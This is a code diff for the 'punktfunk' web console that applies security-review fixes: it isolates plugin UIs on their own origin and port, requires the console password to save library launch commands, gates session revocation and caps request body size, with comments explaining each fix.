"plugin_origin_unavailable_hint": "Plugin-Oberfl\u00e4chen laufen auf einem eigenen Port, damit ein Plugin nicht in deinem Namen auf der Konsole handeln kann. Dieser Port konnte nicht ge\u00f6ffnet werden, deshalb bleiben sie deaktiviert. Sieh ins Konsolen-Log, setze dann PUNKTFUNK_UI_PLUGIN_PORT auf einen freien Port und starte neu.",
|
||||
"plugin_offline_hint": "Starte den Scripting-Runner und versuche es erneut.",
|
||||
"plugin_retry": "Erneut versuchen",
|
||||
"plugin_open_new_tab": "In neuem Tab öffnen",
|
||||
@@ -270,6 +275,8 @@
|
||||
"library_field_logo": "Logo-Bild-URL",
|
||||
"library_field_command": "Startbefehl",
|
||||
"library_field_command_help": "Optional. Der Befehl, mit dem der Host diesen Titel startet.",
|
||||
"library_field_password": "Konsolen-Passwort",
|
||||
"library_field_password_help": "Ein Startbefehl l\u00e4uft auf dem Host mit deinen Rechten. Best\u00e4tige zum Speichern dein Konsolen-Passwort.",
|
||||
"library_field_platform": "Plattform",
|
||||
"library_field_platform_help": "Das System, auf dem dieser Titel läuft, z. B. PS2, Xbox 360, SNES, PC.",
|
||||
"library_field_description": "Beschreibung",
|
||||
|
||||
@@ -54,6 +54,11 @@
|
||||
"nav_more": "More",
|
||||
"nav_plugins": "Plugins",
|
||||
"plugin_offline_title": "This plugin isn't running",
|
||||
"plugin_origin_untrusted_title": "Trust this plugin's port once",
|
||||
"plugin_origin_untrusted_hint": "Plugin interfaces run on their own port so a plugin can't act as you on the console. Your browser trusts this host's certificate for the console's port but not yet for theirs, and it can't ask you inside a frame. Open it once in a tab, accept the certificate, then come back.",
|
||||
"plugin_origin_untrusted_open": "Open in a new tab",
|
||||
"plugin_origin_unavailable_title": "Plugin interfaces are unavailable",
|
||||
"plugin_origin_unavailable_hint": "Plugin interfaces are served on their own port so a plugin can't act as you on the console. That port could not be opened, so they stay switched off. Check the console log, then set PUNKTFUNK_UI_PLUGIN_PORT to a free port and restart.",
|
||||
"plugin_offline_hint": "Start the scripting runner, then retry.",
|
||||
"plugin_retry": "Retry",
|
||||
"plugin_open_new_tab": "Open in new tab",
|
||||
@@ -270,6 +275,8 @@
|
||||
"library_field_logo": "Logo art URL",
|
||||
"library_field_command": "Launch command",
|
||||
"library_field_command_help": "Optional. The command the host runs to launch this title.",
|
||||
"library_field_password": "Console password",
|
||||
"library_field_password_help": "A launch command runs on the host as you. Confirm your console password to save it.",
|
||||
"library_field_platform": "Platform",
|
||||
"library_field_platform_help": "The system this title runs on, e.g. PS2, Xbox 360, SNES, PC.",
|
||||
"library_field_description": "Description",
|
||||
|
||||
@@ -14,10 +14,13 @@
|
||||
// (a local CA installed per device) fronted by a server that speaks them (e.g. Caddy) — deliberately
|
||||
// out of scope for a LAN console; TLS (no cleartext login/session) is the win.
|
||||
//
|
||||
// TWO LISTENERS, on purpose — see `PLUGIN ORIGIN` below.
|
||||
//
|
||||
// Env (set by the launchers / the systemd unit — see web.env.example):
|
||||
// PUNKTFUNK_UI_TLS_CERT / _KEY PEM file paths (the host's cert.pem / key.pem). BOTH set ⇒ HTTPS.
|
||||
// Unset ⇒ plain HTTP (local dev only).
|
||||
// PORT / HOST standard Nitro bind (3000 / 0.0.0.0).
|
||||
// PUNKTFUNK_UI_PLUGIN_PORT the plugin-UI origin's port (default: console port + 1).
|
||||
import "#nitro-internal-pollyfills";
|
||||
import wsAdapter from "crossws/adapters/bun";
|
||||
import { useNitroApp } from "nitropack/runtime";
|
||||
@@ -40,6 +43,37 @@ const ws = import.meta._websocket
|
||||
// Read back by `peerAddress()` in server/util/auth.ts — keep the two names in sync.
|
||||
const PEER_IP_HEADER = "x-pf-peer-ip";
|
||||
|
||||
// PLUGIN ORIGIN — which listener a request arrived on, stamped the same unforgeable way.
|
||||
//
|
||||
// A plugin's UI used to be reverse-proxied onto the CONSOLE's own origin and framed with
|
||||
// `allow-same-origin`, which means plugin JS ran as first-party code on the console origin: it
|
||||
// could `fetch('/api/**', {credentials:'same-origin'})` and the BFF would attach the operator's
|
||||
// ADMIN mgmt bearer. That reached everything `plugin_may_access` withholds — arm pairing, read the
|
||||
// host PIN, approve a device, read `/hooks` — i.e. any plugin was one line of JS away from full
|
||||
// operator admin (2026-08-05 review H-3). The "open in new tab" link was the same escalation with
|
||||
// no iframe involved at all, so no sandbox attribute could have fixed it.
|
||||
//
|
||||
// The fix is to make the browser's own same-origin policy the boundary, by serving plugin UIs from
|
||||
// a DIFFERENT ORIGIN: a second listener on its own port.
|
||||
//
|
||||
// different ORIGIN — scheme+host+PORT — so SOP applies: plugin JS cannot read the console's DOM,
|
||||
// and its cross-origin `fetch` of `/api/**` is unreadable (we emit no CORS) and
|
||||
// unable to mutate (the Sec-Fetch-Site guard sees `same-site`, not
|
||||
// `same-origin`).
|
||||
// same SITE — because a cookie's scope ignores the port, and SameSite is computed on the
|
||||
// site, not the origin. So the `SameSite=Lax` session cookie still flows to the
|
||||
// plugin origin, and plugin pages keep loading their assets while logged in.
|
||||
//
|
||||
// That combination is why this works and why the obvious alternative does not: dropping
|
||||
// `allow-same-origin` gives the frame an OPAQUE origin, which makes its subresource requests
|
||||
// cross-site, which stops the Lax cookie, which 302s every plugin asset to /login — a blank frame.
|
||||
//
|
||||
// The console listener refuses `/plugin-ui/**` and the plugin listener refuses everything else
|
||||
// (server/middleware/auth.ts). Both halves matter: without the first the old path still works;
|
||||
// without the second, plugin JS could call `/api/**` on its OWN origin and get the admin bearer
|
||||
// attached right back.
|
||||
const LISTENER_HEADER = "x-pf-listener";
|
||||
|
||||
// TLS from the host's identity cert (file PATHS → Bun.file, not PEM-in-env). Absent ⇒ plain HTTP.
|
||||
const certPath = process.env.PUNKTFUNK_UI_TLS_CERT;
|
||||
const keyPath = process.env.PUNKTFUNK_UI_TLS_KEY;
|
||||
@@ -76,13 +110,23 @@ if (!tls && secureFlag) {
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
const server = Bun.serve({
|
||||
port: process.env.NITRO_PORT || process.env.PORT || 3000,
|
||||
/** The shared `Bun.serve` options both listeners use — only the port and the stamped lane differ. */
|
||||
const listenerOptions = (lane) => ({
|
||||
host: process.env.NITRO_HOST || process.env.HOST,
|
||||
// Bun defaults this to 10 s, which is SHORTER than the host's 15 s SSE keep-alive comment — so a
|
||||
// proxied `/api/v1/events` stream (or any other quiet long-lived response) gets cut by us and
|
||||
// reconnects on a loop. 120 s is comfortably above any keep-alive we forward; still overridable.
|
||||
idleTimeout: Number.parseInt(process.env.NITRO_BUN_IDLE_TIMEOUT, 10) || 120,
|
||||
// Cap the request body an UNAUTHENTICATED peer can make us hold in memory.
|
||||
//
|
||||
// `fetch` below buffers the whole body with `await req.arrayBuffer()` before Nitro — and
|
||||
// therefore before the auth gate — has seen the request, so Bun's 128 MB default was the only
|
||||
// bound on what a LAN peer could push into console RSS by POSTing to /login (2026-08-05 review
|
||||
// L-10). Nothing the console legitimately accepts is remotely this large: the biggest real body
|
||||
// is a hooks/library JSON edit, kilobytes. 4 MiB leaves several orders of headroom and still
|
||||
// makes the memory cost of an unauthenticated request negligible.
|
||||
maxRequestBodySize:
|
||||
Number.parseInt(process.env.NITRO_BUN_MAX_BODY_BYTES, 10) || 4 * 1024 * 1024,
|
||||
// `tls: undefined` ⇒ plain HTTP (dev); otherwise HTTPS over HTTP/1.1.
|
||||
tls,
|
||||
websocket: import.meta._websocket ? ws.websocket : undefined,
|
||||
@@ -98,8 +142,10 @@ const server = Bun.serve({
|
||||
// Strip any client-supplied value BEFORE stamping the real one (see PEER_IP_HEADER).
|
||||
const headers = new Headers(req.headers);
|
||||
headers.delete(PEER_IP_HEADER);
|
||||
headers.delete(LISTENER_HEADER);
|
||||
const peer = server.requestIP(req)?.address;
|
||||
if (peer) headers.set(PEER_IP_HEADER, peer);
|
||||
headers.set(LISTENER_HEADER, lane);
|
||||
return nitroApp.localFetch(url.pathname + url.search, {
|
||||
host: url.hostname,
|
||||
protocol: url.protocol,
|
||||
@@ -110,7 +156,39 @@ const server = Bun.serve({
|
||||
});
|
||||
},
|
||||
});
|
||||
|
||||
const consolePort = Number(process.env.NITRO_PORT || process.env.PORT || 3000);
|
||||
const server = Bun.serve({ ...listenerOptions("console"), port: consolePort });
|
||||
console.log(`punktfunk web console listening on ${server.url} (tls=${!!tls})`);
|
||||
|
||||
// The plugin-UI origin. Its own port, everything else identical.
|
||||
//
|
||||
// A bind failure does NOT fall back to serving plugin UIs on the console origin — that is the hole
|
||||
// this exists to close, and a security boundary that disappears when a port is busy is not one. It
|
||||
// degrades to "plugin UIs unavailable": the console reads the state below and renders an
|
||||
// explanation instead of a frame, and everything else about the console keeps working.
|
||||
const pluginPort = Number(process.env.PUNKTFUNK_UI_PLUGIN_PORT || consolePort + 1);
|
||||
let pluginServer;
|
||||
try {
|
||||
pluginServer = Bun.serve({ ...listenerOptions("plugin"), port: pluginPort });
|
||||
// Read back by the app (server/util/pluginOrigin.ts) — same process, so process.env is the
|
||||
// simplest channel, and it is only ever SET here, never trusted from the environment we started
|
||||
// with (a stale inherited value would otherwise advertise a port nothing is listening on).
|
||||
process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE = String(pluginPort);
|
||||
process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE = String(consolePort);
|
||||
console.log(
|
||||
`punktfunk plugin-UI origin listening on ${pluginServer.url} (tls=${!!tls})`,
|
||||
);
|
||||
} catch (e) {
|
||||
delete process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE;
|
||||
console.error(
|
||||
`punktfunk web console: could not bind the plugin-UI origin on port ${pluginPort} ` +
|
||||
`(${e?.message ?? e}). Plugin UIs are DISABLED until this is resolved — they are ` +
|
||||
"deliberately not served on the console's own origin, because a plugin sharing that " +
|
||||
"origin can act as the logged-in operator. Set PUNKTFUNK_UI_PLUGIN_PORT to a free port.",
|
||||
);
|
||||
}
|
||||
|
||||
if (import.meta._tasks) {
|
||||
startScheduleRunner();
|
||||
}
|
||||
|
||||
@@ -6,6 +6,7 @@ import {
|
||||
defineEventHandler,
|
||||
getRequestHeader,
|
||||
getRequestURL,
|
||||
type H3Event,
|
||||
sendRedirect,
|
||||
setResponseHeader,
|
||||
setResponseStatus,
|
||||
@@ -18,25 +19,60 @@ import {
|
||||
sessionEpoch,
|
||||
uiPassword,
|
||||
} from "../util/auth";
|
||||
import {
|
||||
consoleOriginPort,
|
||||
isPluginUiPath,
|
||||
listenerOf,
|
||||
} from "../util/pluginOrigin";
|
||||
|
||||
export default defineEventHandler(async (event) => {
|
||||
const { pathname } = getRequestURL(event);
|
||||
const listener = listenerOf(event);
|
||||
const isPluginPath = isPluginUiPath(pathname);
|
||||
|
||||
// ── the origin split (2026-08-05 review H-3) ────────────────────────────────────────────────
|
||||
//
|
||||
// Plugin UIs live on their own origin (see nitro-entry/bun-https.mjs). Enforcing that is two
|
||||
// refusals, and BOTH are load-bearing:
|
||||
//
|
||||
// - the console origin must not serve `/plugin-ui/**`, or the old same-origin path still works
|
||||
// and nothing has changed;
|
||||
// - the plugin origin must not serve anything ELSE — above all not `/api/**`. Plugin JS is
|
||||
// same-origin with the plugin listener, so if that listener proxied `/api/**` the BFF would
|
||||
// attach the operator's admin bearer to the plugin's own fetch and hand back exactly the
|
||||
// escalation we just moved.
|
||||
//
|
||||
// Unconditional, not conditional on the plugin listener having bound: if it did not, plugin UIs
|
||||
// are disabled and refusing here is the correct answer, not a reason to fall back. (`vite dev`
|
||||
// serves one origin, but its own middleware answers `/plugin-ui` before Nitro is reached, so
|
||||
// this never fires there.)
|
||||
if (listener === "console" && isPluginPath) {
|
||||
setResponseStatus(event, 404);
|
||||
return { error: "plugin UIs are served from their own origin" };
|
||||
}
|
||||
if (listener === "plugin" && !isPluginPath) {
|
||||
setResponseStatus(event, 404);
|
||||
return { error: "this origin serves plugin UIs only" };
|
||||
}
|
||||
|
||||
// Baseline response headers for everything this server emits. Deliberately modest: a plugin's
|
||||
// own UI is proxied onto THIS origin (/plugin-ui/**), so a script-src policy tight enough to be
|
||||
// worth having would break third-party plugin pages we don't control. What is safe to assert
|
||||
// unconditionally still closes the cheap holes:
|
||||
// own UI is third-party code we don't control, so a script-src policy tight enough to be worth
|
||||
// having would break the pages it serves. What is safe to assert unconditionally still closes
|
||||
// the cheap holes:
|
||||
// nosniff — a plugin serving text/plain that "looks like" HTML can't be sniffed into it
|
||||
// frame-ancestors— only our own pages may frame the console (the plugin iframes are same-origin)
|
||||
// frame-ancestors— who may frame this; see below, it differs per origin
|
||||
// object-src — no Flash/applet embedding anywhere
|
||||
// base-uri — a stray <base> can't repoint every relative URL on the page
|
||||
// Referrer-Policy— never leak a console path (which can carry ids) to an external homepage link
|
||||
setResponseHeader(event, "X-Content-Type-Options", "nosniff");
|
||||
setResponseHeader(event, "Referrer-Policy", "no-referrer");
|
||||
// `frame-ancestors 'self'` is right for the console and WRONG for the plugin origin: 'self'
|
||||
// there means the plugin origin, and the console — now a different origin — is precisely who
|
||||
// needs to frame it. So the plugin origin names the console explicitly, and nobody else.
|
||||
setResponseHeader(
|
||||
event,
|
||||
"Content-Security-Policy",
|
||||
"frame-ancestors 'self'; object-src 'none'; base-uri 'self'",
|
||||
`frame-ancestors ${listener === "plugin" ? consoleFrameAncestor(event) : "'self'"}; object-src 'none'; base-uri 'self'`,
|
||||
);
|
||||
|
||||
// Same-origin check for every MUTATING request (defense in depth beyond SameSite=Lax,
|
||||
@@ -74,6 +110,13 @@ export default defineEventHandler(async (event) => {
|
||||
setResponseStatus(event, 401);
|
||||
return { error: "unauthorized" };
|
||||
}
|
||||
// The plugin origin has no /login to bounce to — it serves plugin UIs and nothing else, so a
|
||||
// redirect there would land on this middleware's own 404. Answer plainly instead; the console
|
||||
// probes plugin liveness server-side and renders the session-expired state itself.
|
||||
if (listener === "plugin") {
|
||||
setResponseStatus(event, 401);
|
||||
return { error: "unauthorized" };
|
||||
}
|
||||
// Page navigation → bounce to the login screen, remembering where they were headed.
|
||||
return sendRedirect(
|
||||
event,
|
||||
@@ -81,3 +124,19 @@ export default defineEventHandler(async (event) => {
|
||||
302,
|
||||
);
|
||||
});
|
||||
|
||||
/**
|
||||
* The console origin, as a `frame-ancestors` source, derived from the request the PLUGIN origin is
|
||||
* answering: same scheme and hostname (whatever name the operator actually browsed to — an IP, an
|
||||
* mDNS name, a hostname — so the policy matches their address bar), the console's port.
|
||||
*
|
||||
* Falls back to `'none'` rather than `'self'` or `*` when the console port is unknown: an unframable
|
||||
* plugin page is a visible, harmless failure, and the alternatives are a policy that either does
|
||||
* nothing or lets any page on the LAN frame a logged-in plugin UI.
|
||||
*/
|
||||
function consoleFrameAncestor(event: H3Event): string {
|
||||
const port = consoleOriginPort();
|
||||
if (!port) return "'none'";
|
||||
const url = getRequestURL(event);
|
||||
return `${url.protocol}//${url.hostname}:${port}`;
|
||||
}
|
||||
|
||||
@@ -4,16 +4,29 @@
|
||||
// stayed valid for its whole 7-day TTL and "log out" logged nothing out. Bumping the epoch means
|
||||
// the gate rejects every cookie sealed before now. Single-user console, so "log out" and "sign out
|
||||
// everywhere" are the same action — which is the safer of the two to make the default.
|
||||
//
|
||||
// The global revocation is the part that needs authorizing. This route lives under `/_auth/`, which
|
||||
// `isPublicPath` treats as public (the login form posts here), and the CSRF guard only fires when a
|
||||
// `Sec-Fetch-Site` header is actually present — so an unauthenticated LAN peer with `curl` could
|
||||
// bump the epoch on a loop and keep the operator permanently signed out of their own console
|
||||
// (2026-08-05 review L-11). Revoking is now gated on holding a currently-valid session; clearing
|
||||
// the CALLER's own cookie stays unconditional, because that affects nobody else and keeps a stale
|
||||
// session's "log out" click behaving exactly as the user expects.
|
||||
import { defineEventHandler, useSession } from "h3";
|
||||
import {
|
||||
revokeAllSessions,
|
||||
type SessionData,
|
||||
sessionConfig,
|
||||
sessionEpoch,
|
||||
} from "../../util/auth";
|
||||
|
||||
export default defineEventHandler(async (event) => {
|
||||
const session = await useSession<SessionData>(event, sessionConfig());
|
||||
// Read the state BEFORE clearing — `clear()` wipes what we need to authorize the revocation.
|
||||
const authenticated =
|
||||
session.data.authenticated === true &&
|
||||
session.data.epoch === sessionEpoch();
|
||||
await session.clear();
|
||||
revokeAllSessions();
|
||||
if (authenticated) revokeAllSessions();
|
||||
return { ok: true };
|
||||
});
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
// GET /_auth/ui-config — the handful of deployment facts the console UI cannot work out for itself.
|
||||
//
|
||||
// Today that is exactly one: where plugin UIs live. They are served from a different ORIGIN than
|
||||
// the console (2026-08-05 review H-3), so the browser needs the port to build the iframe URL — and
|
||||
// it must come from the server, because only the server knows whether that listener actually bound.
|
||||
//
|
||||
// Public (the `/_auth/` prefix is), which is fine: a port number is discoverable by connecting to
|
||||
// it, and nothing here is a secret. Deliberately NOT an inference the client makes for itself
|
||||
// (`location.port + 1` would silently point at whatever else is on that port).
|
||||
import { defineEventHandler } from "h3";
|
||||
import { pluginOriginPort } from "../../util/pluginOrigin";
|
||||
|
||||
export interface UiConfig {
|
||||
/**
|
||||
* How plugin UIs are reachable:
|
||||
* - `origin` — from their own origin on `pluginPort` (the deployed, secure arrangement)
|
||||
* - `same-origin` — `vite dev` only: one listener, and its own middleware serves `/plugin-ui`
|
||||
* - `unavailable` — the plugin listener could not bind. Plugin UIs are OFF; the console must
|
||||
* not fall back to its own origin, which is the hole this all exists to close.
|
||||
*/
|
||||
pluginUi: "origin" | "same-origin" | "unavailable";
|
||||
pluginPort: number | null;
|
||||
}
|
||||
|
||||
export default defineEventHandler((): UiConfig => {
|
||||
const port = pluginOriginPort();
|
||||
if (port) return { pluginUi: "origin", pluginPort: port };
|
||||
// `import.meta.dev` is Nitro's build-time dev flag — false in every shipped build, so a
|
||||
// production bind failure can never resolve to the same-origin arrangement.
|
||||
if (import.meta.dev) return { pluginUi: "same-origin", pluginPort: null };
|
||||
return { pluginUi: "unavailable", pluginPort: null };
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
// GET /_plugin-health/<id> — is this plugin's UI actually up?
|
||||
//
|
||||
// The console needs this to decide between mounting the iframe and showing the offline card. It
|
||||
// used to be a browser `fetch('/plugin-ui/<id>/__health')`, which worked only because plugin UIs
|
||||
// were same-origin with the console — the very arrangement 2026-08-05 review H-3 removed. From a
|
||||
// separate origin the browser could not read the answer without us serving CORS, so the probe moved
|
||||
// here, to the console's own origin, and is done server-side.
|
||||
//
|
||||
// Session-gated like every other console route (it is not under a public prefix), so an
|
||||
// unauthenticated LAN peer cannot enumerate which plugins are running.
|
||||
import { defineEventHandler, getRouterParam, setResponseStatus } from "h3";
|
||||
import { fetchUiCredential, PLUGIN_ID_RE } from "../../util/pluginProxy";
|
||||
|
||||
export default defineEventHandler(async (event) => {
|
||||
const id = getRouterParam(event, "id") ?? "";
|
||||
if (!PLUGIN_ID_RE.test(id)) {
|
||||
setResponseStatus(event, 400);
|
||||
return { ok: false, error: "not a valid plugin id" };
|
||||
}
|
||||
const cred = await fetchUiCredential(id);
|
||||
if (!cred) {
|
||||
setResponseStatus(event, 502);
|
||||
return { ok: false, error: `plugin "${id}" is not running` };
|
||||
}
|
||||
try {
|
||||
// The plugin's UI server is loopback-only and plain HTTP, exactly as the proxy dials it.
|
||||
const resp = await fetch(`http://127.0.0.1:${cred.port}/__health`, {
|
||||
headers: { authorization: `Bearer ${cred.secret}` },
|
||||
redirect: "manual",
|
||||
});
|
||||
if (!resp.ok) {
|
||||
setResponseStatus(event, 502);
|
||||
return { ok: false, error: `health ${resp.status}` };
|
||||
}
|
||||
return { ok: true };
|
||||
} catch {
|
||||
// Port died between the credential lookup and the probe (plugin restarting).
|
||||
setResponseStatus(event, 502);
|
||||
return { ok: false, error: `plugin "${id}" is not reachable` };
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,18 @@
|
||||
// POST /api/v1/library/custom — creating a custom entry can install a command the host later runs
|
||||
// as the host user (`prep`, or a `command` launch), so it joins hooks/update-apply/raw-install
|
||||
// behind the console password when — and only when — the payload carries one of those fields.
|
||||
// See util/libraryConfirm.ts for the reasoning; 2026-08-05 review M-6.
|
||||
//
|
||||
// Wins over the `/api/**` catch-all by h3 route specificity.
|
||||
import { defineEventHandler, readBody } from "h3";
|
||||
import { forwardJson } from "../../../../util/forward";
|
||||
import { confirmIfCommandExecution } from "../../../../util/libraryConfirm";
|
||||
|
||||
export default defineEventHandler(async (event) => {
|
||||
const body = await readBody<Record<string, unknown>>(event);
|
||||
confirmIfCommandExecution(event, body, body?.password);
|
||||
// Strip the confirmation before forwarding — the host has no such field and it must not leak
|
||||
// upstream or into `library.json`.
|
||||
const { password: _password, ...entry } = body ?? {};
|
||||
return forwardJson(event, "/api/v1/library/custom", "POST", entry);
|
||||
});
|
||||
@@ -0,0 +1,19 @@
|
||||
// PUT /api/v1/library/custom/{id} — same primitive and same gate as the create route: an UPDATE
|
||||
// can install `prep` / a `command` launch just as well as a create can, and a gate that only
|
||||
// covered create would be one PUT away from pointless. See util/libraryConfirm.ts; review M-6.
|
||||
import { defineEventHandler, getRouterParam, readBody } from "h3";
|
||||
import { forwardJson } from "../../../../../util/forward";
|
||||
import { confirmIfCommandExecution } from "../../../../../util/libraryConfirm";
|
||||
|
||||
export default defineEventHandler(async (event) => {
|
||||
const id = getRouterParam(event, "id") ?? "";
|
||||
const body = await readBody<Record<string, unknown>>(event);
|
||||
confirmIfCommandExecution(event, body, body?.password);
|
||||
const { password: _password, ...entry } = body ?? {};
|
||||
return forwardJson(
|
||||
event,
|
||||
`/api/v1/library/custom/${encodeURIComponent(id)}`,
|
||||
"PUT",
|
||||
entry,
|
||||
);
|
||||
});
|
||||
+14
-3
@@ -174,9 +174,20 @@ export function sessionConfig(): SessionConfig {
|
||||
sameSite: "lax",
|
||||
path: "/",
|
||||
// h3 defaults Secure to true, which browsers DROP over plain http:// (so login
|
||||
// silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS
|
||||
// (set PUNKTFUNK_UI_SECURE=1 / =true then).
|
||||
secure: /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""),
|
||||
// silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS.
|
||||
//
|
||||
// Derived from whether TLS is CONFIGURED, not from `PUNKTFUNK_UI_SECURE` alone
|
||||
// (2026-08-05 review L-20). The entry point already refuses the inverse mistake —
|
||||
// `PUNKTFUNK_UI_SECURE` without TLS exits rather than serving a console whose cookie
|
||||
// the browser will never store — but nothing caught this direction: TLS configured and
|
||||
// the flag forgotten shipped a session cookie without `Secure`, which a browser will
|
||||
// then also send over a plain-http downgrade. The env var still forces it on for a
|
||||
// deploy terminating TLS in front of us (a reverse proxy), where this process sees no
|
||||
// cert of its own.
|
||||
secure:
|
||||
(!!process.env.PUNKTFUNK_UI_TLS_CERT &&
|
||||
!!process.env.PUNKTFUNK_UI_TLS_KEY) ||
|
||||
/^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""),
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
// Shared password gate for the library writes that carry the SAME primitive `hooks.put.ts` gates.
|
||||
//
|
||||
// A custom library entry can carry `prep` (commands run before the title launches) and a
|
||||
// `launch.kind === "command"` (a shell command run at launch). Both are executed verbatim as the
|
||||
// host user — `/bin/sh -c` on Linux, `cmd.exe /c` on Windows — which is the very thing the hooks
|
||||
// gate exists to stop a bare session cookie from doing: *"a 7-day session cookie must not be enough
|
||||
// to leave a persistent command behind on the machine."*
|
||||
//
|
||||
// `confirm.ts` gated three routes and these were not among them, so the identical primitive fell
|
||||
// through the ungated `/api/**` catch-all where the BFF attaches the admin bearer unconditionally
|
||||
// (2026-08-05 review M-6). Anyone with a session cookie but not the password — a borrowed browser,
|
||||
// an exfiltrated cookie, a stale 7-day session after a password rotation — could leave a command
|
||||
// behind. `SameSite=lax` blocks a plain cross-site POST, so this is cookie possession rather than
|
||||
// drive-by CSRF, but the invariant is the same one.
|
||||
//
|
||||
// The gate is CONDITIONAL on the payload actually carrying one of those fields. An ordinary library
|
||||
// edit — title, artwork, platform, a `steam_appid` launch — is not code execution and prompting for
|
||||
// it would only train the operator to type their password without reading it. Same reasoning as
|
||||
// "a catalog install from an already-trusted source is deliberately NOT gated" in `confirm.ts`.
|
||||
import type { H3Event } from "h3";
|
||||
import { confirmPassword } from "./confirm";
|
||||
|
||||
/** The shape the gate inspects; everything else about the entry is none of its business. */
|
||||
interface EntryLike {
|
||||
prep?: unknown;
|
||||
launch?: { kind?: unknown } | null;
|
||||
}
|
||||
|
||||
/** Does this entry carry a field the host will hand to a shell? */
|
||||
export function carriesCommandExecution(entry: EntryLike | null | undefined): boolean {
|
||||
if (!entry || typeof entry !== "object") return false;
|
||||
if (Array.isArray(entry.prep) && entry.prep.length > 0) return true;
|
||||
return entry.launch?.kind === "command";
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-verify the console password iff `entries` contains a command-execution field. Throws the same
|
||||
* 401/429/503 `confirmPassword` does; returns normally when the gate does not apply.
|
||||
*/
|
||||
export function confirmIfCommandExecution(
|
||||
event: H3Event,
|
||||
entries: EntryLike | EntryLike[] | null | undefined,
|
||||
password: unknown,
|
||||
): void {
|
||||
const list = Array.isArray(entries) ? entries : [entries];
|
||||
if (list.some(carriesCommandExecution)) confirmPassword(event, password);
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
// Which listener a request arrived on, and where plugin UIs live.
|
||||
//
|
||||
// Plugin UIs are served from a DIFFERENT ORIGIN than the console (a second listener on its own
|
||||
// port — see nitro-entry/bun-https.mjs for why). Two things need to know about that split: the
|
||||
// gate, which enforces that neither origin serves the other's paths, and the console UI, which has
|
||||
// to build the iframe URL against the right origin.
|
||||
import type { H3Event } from "h3";
|
||||
import { getRequestHeader } from "h3";
|
||||
|
||||
/** Set by the server entry on every request; any inbound copy is stripped first. */
|
||||
const LISTENER_HEADER = "x-pf-listener";
|
||||
|
||||
export type Listener = "console" | "plugin";
|
||||
|
||||
/**
|
||||
* Which listener served this request. Absent ⇒ `console`, which is the safe default: it is what
|
||||
* `vite dev` looks like (one listener, and its own middleware intercepts `/plugin-ui` before Nitro
|
||||
* ever sees it), and treating an unknown lane as the console means the plugin-path refusal below
|
||||
* applies rather than the console-path one — deny the escalation, not the ordinary console.
|
||||
*/
|
||||
export function listenerOf(event: H3Event): Listener {
|
||||
return getRequestHeader(event, LISTENER_HEADER) === "plugin"
|
||||
? "plugin"
|
||||
: "console";
|
||||
}
|
||||
|
||||
/** Paths the plugin origin serves. Everything else on that origin is refused. */
|
||||
export function isPluginUiPath(pathname: string): boolean {
|
||||
return pathname === "/plugin-ui" || pathname.startsWith("/plugin-ui/");
|
||||
}
|
||||
|
||||
/**
|
||||
* The port the plugin-UI origin is listening on, or `null` when there is none — either the bind
|
||||
* failed (production: plugin UIs are disabled, deliberately, rather than falling back to the
|
||||
* console origin) or this is `vite dev`, which serves everything from one port.
|
||||
*
|
||||
* Read from the value the entry SETS after a successful bind, never from the configured-but-unbound
|
||||
* one, so this can never advertise a port nothing is listening on.
|
||||
*/
|
||||
export function pluginOriginPort(): number | null {
|
||||
const raw = process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE;
|
||||
const port = raw ? Number(raw) : Number.NaN;
|
||||
return Number.isInteger(port) && port > 0 ? port : null;
|
||||
}
|
||||
|
||||
/** The console's own port, for the plugin origin's `frame-ancestors`. */
|
||||
export function consoleOriginPort(): number | null {
|
||||
const raw = process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE;
|
||||
const port = raw ? Number(raw) : Number.NaN;
|
||||
return Number.isInteger(port) && port > 0 ? port : null;
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
// Where plugin UIs live, from the server that knows.
|
||||
//
|
||||
// Plugin UIs are served from a DIFFERENT ORIGIN than the console (2026-08-05 review H-3): same
|
||||
// scheme and host, its own port. The console has to build iframe and new-tab URLs against that
|
||||
// origin, and the port has to come from the server — only it knows whether the listener bound.
|
||||
import { useQuery } from "@tanstack/react-query";
|
||||
|
||||
export interface UiConfig {
|
||||
pluginUi: "origin" | "same-origin" | "unavailable";
|
||||
pluginPort: number | null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Deployment facts the console cannot infer. Cached for the session — the ports cannot change
|
||||
* without the server restarting, which reloads the page anyway.
|
||||
*/
|
||||
export const useUiConfig = () =>
|
||||
useQuery({
|
||||
queryKey: ["ui-config"],
|
||||
queryFn: async (): Promise<UiConfig> => {
|
||||
const r = await fetch("/_auth/ui-config", {
|
||||
credentials: "same-origin",
|
||||
});
|
||||
if (!r.ok) throw new Error(`ui-config ${r.status}`);
|
||||
return (await r.json()) as UiConfig;
|
||||
},
|
||||
staleTime: Number.POSITIVE_INFINITY,
|
||||
retry: 2,
|
||||
});
|
||||
|
||||
/**
|
||||
* The origin serving plugin UIs, or `null` when there is none and the console must say so rather
|
||||
* than render a frame.
|
||||
*
|
||||
* Built from the CURRENT location's scheme and hostname, so it follows whatever address the
|
||||
* operator actually browsed to — an IP, an mDNS name, a hostname — and only the port differs. That
|
||||
* matters for more than cosmetics: it keeps the origin same-SITE with the console, which is what
|
||||
* lets the `SameSite=Lax` session cookie reach the plugin listener at all.
|
||||
*/
|
||||
export function pluginOriginFrom(
|
||||
config: UiConfig | undefined,
|
||||
): string | null | undefined {
|
||||
if (!config) return undefined; // still loading — render neither frame nor error
|
||||
if (config.pluginUi === "same-origin") return ""; // vite dev: relative URLs, one origin
|
||||
if (config.pluginUi === "origin" && config.pluginPort) {
|
||||
return `${window.location.protocol}//${window.location.hostname}:${config.pluginPort}`;
|
||||
}
|
